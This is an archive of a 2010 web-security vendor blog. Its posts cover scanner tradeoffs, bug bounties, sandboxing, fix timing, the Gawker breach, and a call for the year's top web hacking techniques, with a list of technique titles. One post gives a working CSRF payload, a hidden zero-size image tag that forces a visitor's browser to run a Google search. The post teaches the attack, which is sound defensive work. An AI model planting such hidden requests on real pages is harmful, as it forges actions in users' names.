Wednesday, December 22, 2010

Which mountain would you rather climb?

Some Web application vulnerability scanners, dynamic and static analysis, are designed for comprehensiveness over accuracy. For others, the exact opposite is true. The tradeoff is that as the number of "checks" a scanner attempts increases causes the amount of findings, false-positives, scan times, site impact, and required man-hour investment to grow exponentially. To allow users to choose their preferred spot between those two points, comprehensiveness and accuracy, most scanners offer a configuration dial typically referred to as a "policy." Policies essentially ask, "What do you want to check for?" Whichever direction the comprehensiveness dial is turned will have a profound effect on the workload to analyze the results. Only this subject isn't discussed much.

Before going further we need to define a few terms. A "finding" is something reported that’s of particular interest. It may be a vulnerability, the lack of a “best-practice” control, or perhaps just something weird warranting further investigation. Within those findings are sure to be "false-positives" (FP) and "duplicates" (DUP). A false-positive is a vulnerability that’s reported, but really isn’t one for any variety of potential reasons. Duplicates are when the same real vulnerability is reported multiple times. "False-negatives," (FN) which reside outside the findings pool, are real vulnerabilities with true organizational risk, that for whatever reason the scanner failed to identify.

Let’s say the website owner wants a "comprehensive" scan. A scan that will attempt to identify just about everything modern day automation is capable of checking for. In this use-case it is not uncommon for scanners to generate literally thousands, often tens or hundreds of thousands, of findings that need to be validated to isolate the ~10% of stuff that’s real (yes, a 90% FP/DUP rate). For some spending many many hours vetting is acceptable. For others, not so much. That’s why the larger product vendors all have substantial consulting divisions to handle deployment and integration post-purchase. Website owners can also opt for a more accurate (point-and-shoot) style of scan where comprehensiveness may be cut down by say half, but thousands of findings becomes a highly accurate hundreds or dozens thereby decreasing validation workload to something manageable.

At this point it is important to note, as illustrated in the diagram, even today’s top-of-the-line Web application vulnerability scanners can only reliably test for roughly half of the known Web application classes of attack. These are the technical vulnerability (aka syntax related) classes including SQL Injection, Cross-Site Scripting, Content-Spoofing, and so on. This holds true even when the scanner is well-configured (logged-in and forms filled out). Covering the other half, the business logic flaws (aka semantic related) such as Insufficient Authentication, Insufficient Authorization, Cross-Site Request Forgery, etc. require some level of human analysis.

With respect to scanner output, an organizations tolerance for false-negatives, false-positives, and personnel resources investment is what should dictate the type of product or scan configuration selected. The choice becomes a delicate balancing act. Dialing up scanner comprehensiveness too high, get buried in a tsunami of findings. What good is comprehensiveness if you can’t find the things that are truly important? On the other hand dialing down the noise too far reduces the number of vulnerabilities identified (and hopefully fixed) to the point where there's marginal risk reduction because the bad guys could easily find one that was missed. The answer is somewhere in the middle and one of risk management.

About 20 km west of Mount Everest (29,029 ft. ASL) is a peak called Cho Oyu (26,906 ft. ASL), the 6th highest mountain in the world. The difference being the two is only 2,000 ft. For some mountain climbers the physical difficulty, risk of incident, and monetary expense of that last 2,000 ft necessary to summit Everest is just not worth it. For others, it makes all the difference in the world. So, just like scanner selection, an individual decision must be made. Of course the vendor in me says just use WhiteHat Sentinel and we’ll give you a lift to the top of whichever mountain you’d like. :)
Vendors take Note: Historically, whenever I've discussed scanners and scanner performance the comments would typically be superficial marketing BS with no willingness to supply evidence to backup the claims. As always I encourage open discourse, but respectfully if you make claims about your product performance, and I sincerely hope you do, please be ready to do so with data. Without data, as Jack Daniel as concisely stated, we'll assume you are bluffing, guessing, or lying.

Tuesday, December 21, 2010

Bug Bounty Programs comes to Website Security: What do they mean?

Recently I tweeted a passing thought, "I wonder if the final stage of maturity for website vulnerability management is offering a bug bounty program." This was stimulated by the news that Mozilla became the second company, following Google, to provide monetary rewards for security researches who find and privately report website vulnerabilities. Only last year this idea would have been considered crazy. Sure, other organizations including Microsoft, Facebook, and PayPal already gladly accept third-party vulnerability disclosures without threatening legal action, but it’s the financial compensation part that sets Google and Mozilla apart.

I’m sure others like myself in the community are asking if website vulnerability bug bounty programs a good idea to begin with and if such programs an anomaly or the start of a 2011 trend?

If we posed the first question to bug hunting masters Charlie Miller, Alex Sotirov, and Dino Dai Zovi there is no question how they’d answer. "No More Free Bugs." Not that all researchers must ascribe to this philosophy, it’s a personal choice, but there certainly shouldn’t be a stigma attached to those who do. The thing is the bugs these gentlemen generally focus on reside in desktop-based software developed by large ISVs. Software that can be readily tested in the safe confines of ones own computer where permission is not strictly required. Website vulnerabilities are in a word, different.

Website vulnerabilities reside in the midst of a live online business, on someone else’s network, where penetration-testing without permission is illegal and the results of which may cause degraded performance and downtime. Not that legalities ever really got in the way of a free pen-test. See the thousands of public cross-site scripting disclosures on XSSed.com. Still, I’d personally agree that while bug bounty programs can indeed be a good idea for a certain class of website owner, I think everyone would recommend thoughtful consideration before opening up the hack-me-for-cash flood gates.

What’s most interesting to me is understanding why Google and Mozilla themselves believe they need a bug bounty program the first place. It’s not like Google and Mozilla don’t invest in application security or would depend on such an initiative. In fact, from my personal interactions their level of application security awareness is top notch and practices represent among the most mature across the Web. They invest in source code reviews, security QA testing, penetrating tests / scans conducted by insiders and third-parties, developer training, standardized development constructs, threat modeling, and a collection of other Software Security Assurance (SSA) related activities. Activities most organization are still coming up to speed on.

So Google and Mozilla have already done essentially all our industry "recommends." Yet, as the multitude of negative headlines and unpaid vulnerabilities disclosures historically show, issues are still found by outsiders with annoying regularity. Personally I think that’s where the motivation for a bug bounty program comes from.

Google and Mozilla probably view their bounty programs as a way to remove additional missed bugs from the vulnerabilities pool, remediate them in a manageable way, foster community good will, and for the low low price of few hundred to a few thousand bucks. Check it out. In the first two months of Google’s program, it looks like they’ve paid out a few 10s of thousands of dollars to three dozen or so researchers. Said another way, the PR benefit is perhaps three dozen user confidence shaking news stories DIDN'T get published. All in all for that price, suddenly the idea of paying "the hackers" doesn’t sound as crazy.

It should be made crystal-clear that bug bounty programs are in no way a replacement for any part of an SSA or an SDL program, rather they are complementary and an opportunity to facilitate improvement. Also, bug bounty programs are not for everybody, and probably not even for most. Only those organizations that truly have their application security act together should even consider offering such a program.

For example, the organization should already have reasonably bug free websites or they won't offering attractively priced bounties for long. Budgets would run out fast and they’ll be forced to suspend the program, which would be quite embarrassing. The organization must also have a strong process in place to receive, validate, respond, act upon, and pay out for submissions. Next as Mike Bailey, a self proclaimed Narcissistic Vulnerability Pimp elegantly stated, "bounty program also involves an implicit commitment to fix bugs quickly." That’s right, no sitting on bugs for a "reasonable" amount of time -- like months to a year or more. Finally the organization will require a super-stable infrastructure capable of enduring sustained attack by hundred or perhaps thousands of entities.

In my humble opinion if an organization has all of this in place, then I’m confident in saying there is a correlation between bug bounty programs and website vulnerability management / SSA maturity. Gunnar Peterson for the graphic>

Jeff Moss, the man behind Black Hat and Defcon, recently encouraged Microsoft, a firm long opposed paying for bugs, to offer a bounty program. "I think it is time Microsoft seriously consider a bug bounty program. They advanced the SDL, it is time for them to advance bounties." I’ve suggested the very same to Microsoft in person on more than one occasion. Veracode has that as a 2011 infosec prediction. Everyone I know of has received a response similar to the following:

"We do not believe that offering compensation for vulnerability information is the best way we can help protect our customers." - Dave Forstrom, group manager of Microsoft Trustworthy Computing.

And there you have it. Is the website vulnerability bounty program phenomena the start of a trend? Who can really say? Only time will tell.

Monday, December 20, 2010

Sandboxing: Welcome to the Dawn of the Two-Exploit Era

Exploitation of just ONE software vulnerability is typically all that separates the bad guys from compromising an entire machine. The more complicated the code, the larger the attack surface, and the popularity of the product increases the likelihood of that outcome. Operating systems, document readers, Web browsers and their plug-ins are on today’s front lines. Visit a single infected Web page, open a malicious PDF or Word document, and bang -- game over. Too close for comfort if you ask me. Firewalls, IDS, anti-malware, and other products aren’t much help. Fortunately, after two decades, I think the answer is finally upon us.

First, let’s have a look at the visionary of software security practicality that is Michael Howard as he characterizes the goal of Microsoft’s SDL, "Reduce the number of vulnerabilities and reduce the severity of the bugs you miss." Therein lies the rub. Perfectly secure code is a fantasy. We all know this, but we also know that what is missed is the problem we deal with most often, unpatched vulnerabilities and zero-days. Even welcome innovations such as Address Space Layout Randomization (ASLR) and Data Execution Prevention (DEP) only seem to slow the inevitable, making exploitation somewhat harder, but not stopping it entirely. Unless the battlefield itself is changed, no matter what is tried, getting hacked will always come down to just one application vulnerability. ONE. That’s where sandboxes come in.

A sandbox is an isolated zone designed to run applications in a confined execution area where sensitive functions can be tightly controlled, if not outright prohibited. Any installation, modification, or deletion of files and/or system information is restricted. The Unix crowd will be familiar with chroot jails. This is the same basic concept. From a software security standpoint, sandboxes provide a much smaller code base to get right. Better yet, realizing the security benefits of sandboxes requires no decision-making on the user’s behalf. The protections are invisible.

Suppose you are tasked with securing a long-established and widely-used application with millions of lines of insanely complicated code that’s deployed in a hostile environment. You know, like an operating system, document reader, Web browser or a plug-in. Any of these applications contain a complex supply chain of software, cross-pollinated code, and legacy components created long before security was a business requirement or anyone knew of today’s class of attacks. Explicitly or intuitively you know vulnerabilities exist and the development team is doing its best to eliminate them, but time and resources are scarce. In the meantime, the product must ship. What then do you do? Place the application in a sandbox to protect it when and if it comes under attack.

That’s precisely what Google did with Chrome, and recently again with the Flash plugin, and what Adobe did with their PDF Reader. The idea is the attacker would first need to exploit the application itself, bypass whatever anti-exploitation defenses would be in place, then escape the sandbox. That’s at least two bugs to exploit rather than just one. The second bug, to exploit the sandbox, obviously being much harder than the first. In the case of Chrome, you must pop the WebKit HTML renderer or some other core browser component and then escape the encapsulating sandbox. The same with Adobe PDF reader. Pop the parser, then escape the sandbox. Again, two bugs, not just one. To reiterate, this is this not say breaking out of a sandbox environment is impossible as elegantly illustrated by Immunity's Cloudburst video demo.

I can easily see Microsoft and Mozilla following suit with their respective browsers and other desktop software. It would be very nice to see the sandboxing trend continue throughout 2011. Unfortunately though, sandboxing doesn’t do much to defend against SQL Injection, Cross-Site Scripting, Cross-Site Request Forgery, Clickjacking, and so on. But maybe if we get the desktop exploitation attacks off the table, perhaps then we can start to focus attention on the in-the-browser-walls attacks.

Thursday, December 16, 2010

Why Speed & Frequency of Software Security Testing Matter, A LOT

The length of time between when a developer writes a vulnerable piece of code and when the issue is reported by a software security testing process is vitally important. The more time in between, the more effort the development group must expend to fix the code. Therefore the speed and frequency of the testing process whether going with dynamic scanning, binary analysis, pen-testing, static analysis, line-by-line source code review, etc. matters a great deal.

WhiteHat Sentinel is frequently deployed in the Software Development Life-cyle, mostly during QA or User Acceptance Testing phases. From that experience we’ve noticed three distinct time intervals (1 week, 1 month, and 1 year), from when code is written to vulnerability identification, where the effort to fix is highly distinct. Below is what we are seeing.

The following focuses solely on syntax vulnerabilities such as SQL Injection, Cross-Site Scripting, HTTP Response Splitting, and so on. Semantic issues, also known as Business Logic Flaws, cause a different environmental impact.

When vulnerability details are communicated within ______ of the code being written:

1 Week (Less than 1 hour fix)
The same developer who introduced the vulnerability is the same developer who fixes the issue. Typically the effort required ranges from just minutes to an hour because the code is still fresh in the developers mind and they are probably still working on that particular project. The code change impact on QA and regression is minimal given how new the code is to the overall system.

1 Month - (1 - 3 hour fix)
The original developer who introduced the vulnerability may have moved onto another project. Peeling them off their current task enacts an opportunity cost. While remediation effort might be only 1 - 3 hours of development time, usually an entire day of their productivity is lost as they must reset their environment, re-familiarize themselves with the code, find the location of the issue, and fix the flaw. The same effort would be necessary if another developer was tasked to patch. If the vulnerability is serious a production hot-fix might be necessary requiring additional QA & regression resources.

1 Year (More than 10 hour fix)
The original developer who introduced the vulnerability is at least several projects away by now or completely unavailable. The codebase may have transferred to a software maintenance group, who have less skills and less time to dedicate to “security.” Being unfamiliar with the code another developer will have to spend a lot of time hunting for the exact location, figure out the preferred way fix it, that is if any exists. 10 or more developer hours is common. Then a significant amount of QA & regress will be necessary. Then depending on the release cycle deployment of said fix might have to wait until the next schedule release, whenever that may be.

What’s interesting is that the time and effort required to fix a vulnerability is not only subject to the class of attack itself, but how long ago the piece of code was introduced. Seems logical that it would be, just a subject not usually discussed. Another observation is that the longer the vulnerability lay undiscovered the more helpful it becomes to pinpoint the problematic line of code for the developer. Especially true in the 1 year zone. Again terribly logical.

Clearly then during SDL it’s preferable to get software security test results back into the developer hands as fast as possible. So much so that testing comprehensiveness will be happily sacrificed if necessary to increase the speed and frequency of testing. Comprehensiveness is less attractive within the SDL when results only become available once per year as in the annual consultant assessment model. Of course it’d be nice have it all (speed, frequency and comprehensiveness), but it’ll cost you (Good, Fast, or Cheap - Pick Two). Accuracy is the real wild card though. Without it the entire point of saving developers time has been lost.

I also wanted to briefly touch on the differences between act of "writing secure code" and "testing the security of code." I don’t recall when or where, but Dinis Cruz, OWASP Board Member and visionary behind the 02 Platform, said something a while back that stuck with me. Dinis said developers need to be provided exactly the right security knowledge at exactly the time they need it. Asking developers to read and recall veritable mountains of defensive programming do’s and don’ts as they carry out their day job isn’t effective or scalable.

For example, it would be much better if when a developer is interacting with database they are automatically reminded to use parameterized SQL statements. When handling user-supplied input, pop-ups immediately point to the proper data validation routines. Or, how about printing to screen? Warn the developer about the mandatory use of the context aware output filtering method. This type of just-in-time guidance needs to be baked into their IDE, which is one of the OWASP O2 Platform’s design objectives. "Writing secure code” using this approach would seem to be the future.

When it comes to testing as you might imagine WhiteHat constantly strives to improve the speed of our testing processes. You can see the trade-offs we make for speed, comprehensiveness, and cost as demonstrated by the different flavors of Sentinel offered. The edge we have on the competition by nature of the SaaS model is we know precisely, which of our tests are the most effective or likely to hit on certain types of systems. Efficiency = Speed. We’ve been privately testing new service line prototypes with some customers to better meet their needs. Exciting announcement are on the horizon.

Wednesday, December 15, 2010

DO NOT Poke the Bear

ThreatPost was kind enough to allow me to guest post on their blog about some thoughts on the Gawker hack. A snippet is below, click through for the rest.


Lessons Learned From the Gawker Hack
"Everyone sounded the alarms at the
Gawker Media attack, which included a security breach of websites such as Gizmodo, Lifehacker, Kotaku, io9, and others. The numbers were impressive: 1.3 million user accounts exposed, 405 megabytes of source code lost, and perhaps more important to some, the identity of those leaving anonymous comments potentially revealed. For Gawker, there is a loss of trust that will be difficult to regain. Users are already clamoring for the ability to delete their accounts. And, on the technical side, all Gawker’s systems will need to painstakingly audited or rebuilt entirely from scratch to prevent the same thing from happening again. Happy Holidays indeed.So, what is to be learned from this perfect storm of bluster and bravado? Many lessons, most of them demonstrating what not to do.

1. First and foremost, DO NOT poke the bear. By taunting the hacker community, especially the vigilante types, Gawker made itself a target unnecessarily. Never claim to be “unhackable.” The hackers outnumber you by several orders of magnitude, and they have more free time. Respect their capabilities. Not to mention the odds are always stacked against defenders. The attackers only have to find one little crack in wall to bring the castle crumbling down."


....

Friday, December 10, 2010

Spoofing Google search history with CSRF

Let’s assume, dear Web surfer, that I can get you to visit a Web page I control. Just like the page on my blog you’re reading right now. Once you do, by nature of the way the Web works, near complete control of your Web browser is transferred to me as long as you are here. I can invisibly force your browser to initiate online bank wire transfers, post offensive message board comments, vote Jullian Assange as Times Person of the Year, upload illegal material, hack other websites and essentially whatever else I can think up. Worse still, on the receiving end, all the logs will point back to you. Not me.

If you don’t believe me keep reading. I already made you search Google for something a little embarrassing. And no, this is not something anti-virus scanners can do anything about.

The technical term for this type of attack is Cross-Site Request Forgery (CSRF) and years back I called it the sleeping giant. If you happen to be one of the legions of Web developers who have never heard of CSRF then chances are every feature of every website you’ve ever built is vulnerable. Millions of other websites out there are suffering the same problem. With same technology (HTML and JavaScript) that Web pages use to include images, audio, video, banners, trackers, counters etc from all over the internet, any website owner can instruct a victim’s browser to send arbitrary HTTP requests to any website of their choosing.

Generally, Web browsers generate two different types of HTTP requests, GET and POST. For the sake of demonstration here we’ll be focusing only on GET. POSTs require a tiny bit more code. To have someones browser send a particular GET request, like a Google Search for example, is extremely simple.

1) Search Google something like “Justin Bieber fan club” and copy the URL in the location bar.


2) Paste the Google search URL into an HTML IMG tag and zero out the height, width, and border to make it invisible.

<* IMG SRC="http://www.google.com/search?hl=en&q=Justin+Bieber+fan+club&btnG=Search&aq=f&aqi=&aql=&oq=&gs_rfai=" WIDTH="0" HEIGHT="0" BORDER="0" *>

3) Load this code into a Web page, like this one, and voila! When the a Web surfer arrives their browser will execute the code and perform the exact same search (see HTTP request screen shot).

Obviously then any website owner can make your browser search for anything on Google, anything at all. Keep in mind that if the victim is logged-in, their session cookies will be automatically be sent as well. This is a key point about CSRF attacks. Forged HTTP requests are authenticated if the user had previously logged-in to the target website.

If you happen to be logged-in to Google right now, go check your Web search history. Maybe you’ll see something in there you didn’t search for. It might look something like this... :)





Wednesday, December 08, 2010

Internet Explorer 9 ad blocking via "Tracing Protection" -- no means yes.

A year ago I began strongly encouraging Microsoft and Mozilla to include ad blocking technology in their respective Web browsers. And not just point to an extension like the awesomeness that is AdBlock Plus, but include it or something exactly like it, as core browser feature. For security, privacy, and competitive advantage reasons I believed this to be a really good idea. Still do, in fact.

In a blog post I argued ad blocking technology would be a huge win for Microsoft (and users), in particular by retroactively integrating the feature in all versions of Internet Explorer (6, 7, and 8). Doing so would attract vast quantities of new users. After all, ad blocking is the most popular extension type in ALL the browsers, but it also gives them an attractive differentiator that Google’s business model would never tolerate matching.

Despite my best efforts, my arguments fell flat. During Blue Hat, Robert “RSnake” Hansen and I had very productive discussions with the IE & Mozilla security teams about their browser security plans for the future. Still the idea of making ad blocking readily available for the end-user was met with much resistance. The fear was such a feature would conflict with Microsoft’s own ad serving business, or advertising partners, and may also lead to potential anti-trust issues. Oh well, we thought. Nothing ventured nothing gained. As any infosec pro, we can attest, we’re used to getting told “no” by the business. :)

Then something really interesting took place last week. The U.S. Federal Trade Commission (FTC) issued a report on protecting consumer privacy online which recommended that Congress create new online Do-Not-Track legislation and it be accompanied by a privacy policy feature-set baked into Web browsers. To over simplify, browsers supporting Do-Not-Track would allow Web surfers to indicate, presumably through HTTP headers, that they opt-out from being tracked. Unfortunately user data would still get sent to the tracking company by nature of the way browsers work (third-party cookies, etc), but tracking companies receiving the do-not-track header would be legally compelled to respect the users choice.

Then the impossible happened! Only days after the report was released Dean Hachamovitch, Corporate Vice President of Internet Explorer, published a lengthy and technically detailed blog post (even had a video) describing their plans to include an implementation of Do-Not-Track in the yet to be released Internet Explorer 9. Dean explains...

“We want to develop (as the recent FTC report put it) ‘more effective technologies for consumer control’ and make progress on the report’s recommendation of ‘a browser-based mechanism through which consumers could make persistent choices’ regarding tracking.”

The two primary components involved:
  1. IE9 will offer consumers a new opt-in mechanism (“Tracking Protection”) to identify and block many forms of undesired tracking.
  2. “Tracking Protection Lists” will enable consumers to control what third-party site content can track them when they’re online.
Ladies and gentlemen, this is all the framework that is necessary for ad blocking to function in IE9! User configurations will also be persistent across sessions, even when the browser is restarted, which is opposite to how InPrivate mode behaves. This is huge! Sure, just like in AdBlock Plus, IE9 users will still need to procure a regularly updated TPS list in order to block all the known advertisers, but that problem is already long solved.

No way Microsoft slammed out the code from scratch in a few short days because the FTC made some recommendation. The IE team clearly saw ad blocking as a good idea despite what they told us before and had ad blocking, errr I mean Tracking Protection, ready to go. Only they might not have had the juice to include it because of the aforementioned road blocks.

My speculation is, and I could be WAY off base here, that Microsoft knew generally what was in the FTC’s report prior to release and was waiting for publication before announcing Tracking Protection in IE9. That way IE team could be seen as simply supporting the FTC’s out-out recommendations to protect user privacy, and who could argue with that, while at the same time taking the opportunity to implement ad blocking functionality under the same banner. That way they could get around competing business interests and the watchful eye of anti-trust regulators. They could say they are “protecting the user” and “abiding by the FTC,” which they are in both counts. If I’m right, extremely brilliant move.

I think we’re witnessing the beginning of a whole new chapter in the ongoing browser war. Now we must ask, when and if Mozilla is going to add the functionality of their #1 extension natively into their browser? How can they now not do so? Can Firefox’s market-share position afford Internet Explorer to be more advanced in privacy protection features? We’ll have to wait and see what they say or do. I’m hopeful they’ll come around as Microsoft did. Even more interesting will be how Google reacts. AdBlock is their most popular add-on as well. The bottom line is these are very good signs for everyone on the Web.

Friday, December 03, 2010

Google rewards the first set of reserachers in their website bug bounty program

Early this year Google announced a bug bounty program for the Chromium browser designed to encourage and reward security researchers for privately disclosing vulnerabilities they find. The program was well received by the community and by the looks of the results, nothing less than a success. At the time of the announcement I half-jokingly poked Google via Twitter to expand the program to include their websites (*.google.com). That way the Web hackers could get in on the action.

I guess Google was listening, or more specifically those managing the bug bounty program, and kudos to them because they did exactly that! Starting last month finding and disclosing a vulnerability (legally) in a google domain nets you somewhere between $500 and $3,133.70. Over the last 30 days several members of our Threat Research Center (TRC) in their spare time jumped into the action.

Yesterday Google posted the first set of individuals who qualified for security rewards -- that is who found serious website vulnerabilities. Of the three dozen people are on the “Google Security Hall of Fame” list five are from WhiteHat Security's TRC.
  • Justin Barron
  • Michael Cottingham
  • Phillip Purviance
  • Kyle Osborn
  • Matt Evans
This is rather remarkable, impressive even. Congratulations to those members of our team and to all the other researchers listed. Stellar work. You've made millions of Web users just a little bit safer online. And also a big thanks to Google for having the guts and foresight to offer such a program.

Thursday, December 02, 2010

Website Monocultures and Polycultures

Way back in 2003 a group of highly respected security pros released a controversial yet landmark paper, “CyberInsecurity: The Cost of Monopoly.” The text offered two lessons: software monocultures are dangerous and Microsoft, the largest of monocultures, is the most dangerous. At the time this conclusion sparked an industry firestorm. More recently Bruce Schneier and Marcus Ranum faced-off on the monoculture debate, which got me thinking if these ideas apply equally to website security. You see monoculture and polyculture theories are generally based upon commonly understood network and host layer security behaviors, behaviors very different from website security.

Before diving in let’s first establish a baseline on the fundamental assumptions about software monocultures and polycultures. Monocultures, meaning all systems are identical, are at elevated risk to systemic widespread compromise because all nodes are vulnerable to the same attack. For example, one zero-day exploit (not necessarily required) has the capability of ripping through the entire ecosystem. The benefit of a monoculture however is the consistency of all the connected nodes allow for easier management by IT. Manageability makes keeping patches up-to-date less difficult and by extension raises the bar against targeted attacks and random opportunistic worms.

In polycultures exactly the opposite is true. In the event of a worm outbreak, again possibly leveraging a zero-day vulnerability, a polyculture would be more resilient (survivable) by virtue of the diversity in the ecosystem. All nodes are not vulnerable to the same issue. The downside of course is the increased difficulty and cost of IT managing a polyculture, including keeping security patches up-to-date. Therefore targeted attacks and random opportunistic worms are more likely to succeed in a polyculture environment, but to a limited extent.

Depending on tolerance for risk and the threat agent one is most concerned about, targeted or random opportunistic, it dictates if a monoculture or polyculture environment is preferable. We see where the authors of the aforementioned paper fell. And in 2003, the era of extremely large worm infections including SQL Slammer, Blaster, Nimda, Code Red, and so on it is not hard to see why. Today I hazard to guess that most people in the infosec industry would still agree with their conclusion -- monocultures as dangerous, polycultures are more survivable. So when thinking in terms of networks comprised of Windows, Linux, BSD, OS X, and so on all this sounds reasonable, but when the context is switched to websites things get trickier.

First of all, it doesn't matter what OS is underlying when SQL Injection, CSRF, XSS, AuthN, and AuthZ attacks are employed against a target site. Second, save for mass SQL Injection worms that take advantage of one-off Web application flaws, websites compromises are primarily targeted. That is the attacker is to some degree sentient. Lastly, and this is where the monoculture vs polyculture question comes in, in networks the attack surface consists of its many hosts while in a website its really the collection of discreet Web applications (or inputs to those applications). Applications written in one or more programmings languages.

I’m suggesting that a “website monoculture” is one where all the Web applications are written in a single programming language and development framework. Pick Python, Perl, PHP, .Net, Java, Ruby, etc. But one and only one. Conversely, a “website polyculture,” is where there’s some mix of languages and frameworks. Of course the manageability aspects of multi-language website mirrors a multi-OS network. Sites using a single consistent language are easier for an organization to code securely and keep secure. Here’s where it gets interesting, I’m not sure how common a website monoculture really is on the Web.

Any website worth hacking is NOT a static network or host component, but a mass of Web applications that are updated with some frequency over years -- daily, week, monthly, etc. The functionality may be merged or migrated with other websites, built by different teams developers, and whose section of the code is created using whatever programming language is popular at the time. A website is not AN application, but many hyperlinked together. That's why you’ll often see websites using some ASP classic and .NET, Java mixed in with Cold Fusion, perhaps Perl intermingled with PHP, and many other combos. Case in point, the WhiteHat Security 9th Website Security Statistics Report showed that websites exhibiting extensions from one language often had a substantial number of vulnerabilities with extensions in another.

Also important to point out that when one host is compromised on a network the attacker may attempt to exploit another flaw in another host and leapfrog across. A quite common scenario because the first compromised machine is usually not enough to achieve their end goal. Websites on the other hand are different. One exploited bug in a website tends to give the attacker exactly what they wanted, server-side data or end-user compromise. It is rather uncommon to find it necessary to exploit one Web application flaw to then exploit another to achieve the goal. Just one XSS allows someone to hack all users. One SQL Injection pilfers all of the data. So no real compartmentalization exists on a website and therefore there’s nothing to be gained security wise that I can see in a polyculture website.

So if website attacks are generally targeted, again except for SQLi worms, and it's easier to secure code written all in the same language, then we should be advocating monoculture websites. Right? Which is exactly the opposite of how the community seems to want to treat networks. I just found that to be really interesting. What I’m working on now inside WhiteHat is trying to find statistical evidence in real terms how the security posture of the average monoculture and polyculture compare. I’m guessing monoculture websites are noticebley more secure, that is, less vulnerabilities. But what would your theory be?

Tuesday, November 30, 2010

Prizes for the Top Ten winners

While in the process of collecting the entries for the Top Ten Web Hacking Techniques of 2010, I’ve solicited several would be sponsors to offer prizes to the winners.

1) OWASP Conference Pass
OWASP graciously stepped up with a free conference pass (several hundred dollar value) and access to a training session (pending availability - $1,000+ value). Of course you’ll still have to pay for air and hotel, but taking a couple of hundred bucks off the top for the trip certainly helps out. There are three OWASP Global AppSec Events on the schedule for 2011 -- Dublin, Minneapolis, and Lisbon. Take your pick, they’ll all be really good!

2) Autographed Collection of Web Security Books
This year I also wanted to award something really different -- something uniquely cool. Then I thought, what about a collection of Web security books autographed by their respective authors? That'd be pretty kick ass! So I made a big list of books published in the last couple of years and asked for a signed book donation from the authors. Guess what happened!? Within 24 hours I heard back for essentially everyone saying that they’d be delighted to support (see below). Woot! These guys rock.
3) BlackHat USA 2011 Conference Pass
BlackHat, a long time Top Ten sponsor, is donating a BlackHat USA 2011 conference pass ($1,395 value)! You'll of course have to get yourself to Las Vegas and find a place to stay, but you'll get to attend one of the best conference in the industry. Not to mention that kickass parties take place all during the event and the option to attend Defcon. Way cool.

I’m waiting on some other awards to come through the pipe and figure out the best way to allocate them. Stay tuned!

Monday, November 29, 2010

Calling all security researchers! Submit your new 2010 Web Hacking Techniques

Update 01.03.2011: Voting has begun!

Update: Prize information

Each year the web security community produces a stunning amount of new hacking techniques documented in white papers, blog posts, magazine articles, mailing list emails, etc. Within the thousands of pages are the latest ways to attack websites, web browsers, web proxies, and so on. We are NOT talking about individual vulnerabilities with CVE numbers, nor any particular system compromise, but the actual new methods of Web-based attack. To keep track of all these discoveries and encourage information sharing, the Top Web Hacking Techniques acts as both a centralized knowledge base and a way to recognize researchers who contribute excellent work.

The selection process for 2010 will be a little different. Last year in 2009, where over 80 new attack techniques were recorded, the winners were selected solely by a panel of panel of distinguished security experts. This year we'd like you, the Web security community, to have the opportunity to vote for your favorite research. From the voting results the most popular 15 entries will be those judged by our panel of experts on the basis of novelty, impact, and overall pervasiveness to decide the Top Ten Web Hacking Techniques of 2010. Researchers topping the 2010 list may expect to receive praise amongst their peers as have those in past years (2006, 2007, 2008, and 2009). Right now I’m working on a really cool set of prizes for #1.

Then at IT-Defense 2011 (Feb.) it will be my great honor to introduce each of the top ten during my “Top Ten Web Hacking Techniques of the Year (2011)” presentations. Each technique will be described in technical detail for how they function, what they can do, to whom, and how best to defend against them. The audience will get an opportunity to better understand the newest Web-based attacks believed most likely to be used against us in the future.

To make all this happen we are going to need a lot of help from the community. At the bottom of this post will be the living master list of everything recorded. If anything is missing please comment containing the link to the research. Or maybe you think something should not be on the list. That's cool, but please explain why. While clearly not every technique is as powerful as another, please make every effort to include them anyway. Nothing should be considered too insignificant. Sometimes several issues can be combined for amazingly effective techniques.

Thank you!

Prizes:

1)
OWASP Conference Pass

2) Autographed copies by the authors of "Hacking: The Next Generation", "Hacking Exposed Web Applications 3rd Ed", "24 Deadly Sins of Software Security", "XSS Attacks: Cross Site Scripting Exploits and Defense", "Foundations of Security", "Hacking Web Services", "Web 2.0 Security", "Web Application Obfuscation", "Seven Deadliest Web Application Attacks", "ModSecurity Handbook", "Apache Security", "The Web Application Hacker's Handbook", "SQL Injection Attacks and Defenses", "Detecting Malice", and "Web Security Testing Cookbook."

3) BlackHat USA 2011 Conference Pass


The Complete List of Attack Techniques
  1. Evercookie
  2. Hacking Auto-Complete (Safari v1, Safari v2 TabHack, Firefox, Internet Explorer)
  3. Cookie Eviction
  4. Converting unimplementable Cookie-based XSS to a persistent attack
  5. phpwn: Attack on PHP sessions and random numbers
  6. NAT Pinning: Penetrating routers and firewalls from a web page (forcing router to port forward)
  7. Mapping a web browser to GPS coordinates via router XSS + Google Location Services without prompting the user
  8. XSHM Mark 2
  9. MitM DNS Rebinding SSL/TLS Wildcards and XSS
  10. Using Cookies For Selective DoS and State Detection
  11. Quick Proxy Detection
  12. Flash Camera and Mic Remember Function and XSS
  13. Improving HTTPS Side Channel Attacks
  14. Side Channel Attacks in SSL
  15. Turning XSS into Clickjacking
  16. Bypassing CSRF protections with ClickJacking and HTTP Parameter Pollution
  17. CSS History Hack In Firefox Without JavaScript for Intranet Portscanning
  18. Popup & Focus URL Hijacking
  19. Hacking Facebook with HTML5
  20. Stealing entire Auto-Complete data in Google Chrome
  21. Chrome and Safari users open to stealth HTML5 AppCache attack
  22. DNS Rebinding on Java Applets
  23. Strokejacking
  24. The curse of inverse strokejacking
  25. Re-visiting JAVA De-serialization: It can't get any simpler than this !!
  26. Fooling B64_Encode(Payload) on WAFs and filters
  27. MySQL Stacked Queries with SQL Injection...sort of
  28. A Twitter DomXss, a wrong fix and something more
  29. Get Internal Network Information with Java Applets
  30. Java DSN Rebinding + Java Same IP Policy = The Internet Mayhem
  31. Java Applet Same IP Host Access
  32. ASP.NET 'Padding Oracle' Crypto Attack
  33. Posting raw XML cross-domain
  34. Generic cross-browser cross-domain theft
  35. One vector to rule them all
  36. HTTP POST DoS
  37. Penetrating Intranets through Adobe Flex Applications
  38. No Alnum JavaScript (cheat sheet, jjencode demo)
  39. Attacking HTTPS with Cache Injection
  40. Tapjacking: owning smartphone browsers
  41. Breaking into a WPA network with a webpage
  42. XSS-Track: How to quietly track a whole website through single XSS
  43. Next Generation Clickjacking
  44. XSSing client-side dynamic HTML includes by hiding HTML inside images and more
  45. Stroke triggered XSS and StrokeJacking
  46. Internal Port Scanning via Crystal Reports
  47. Lost in Translation (ASP’s HomoXSSuality)
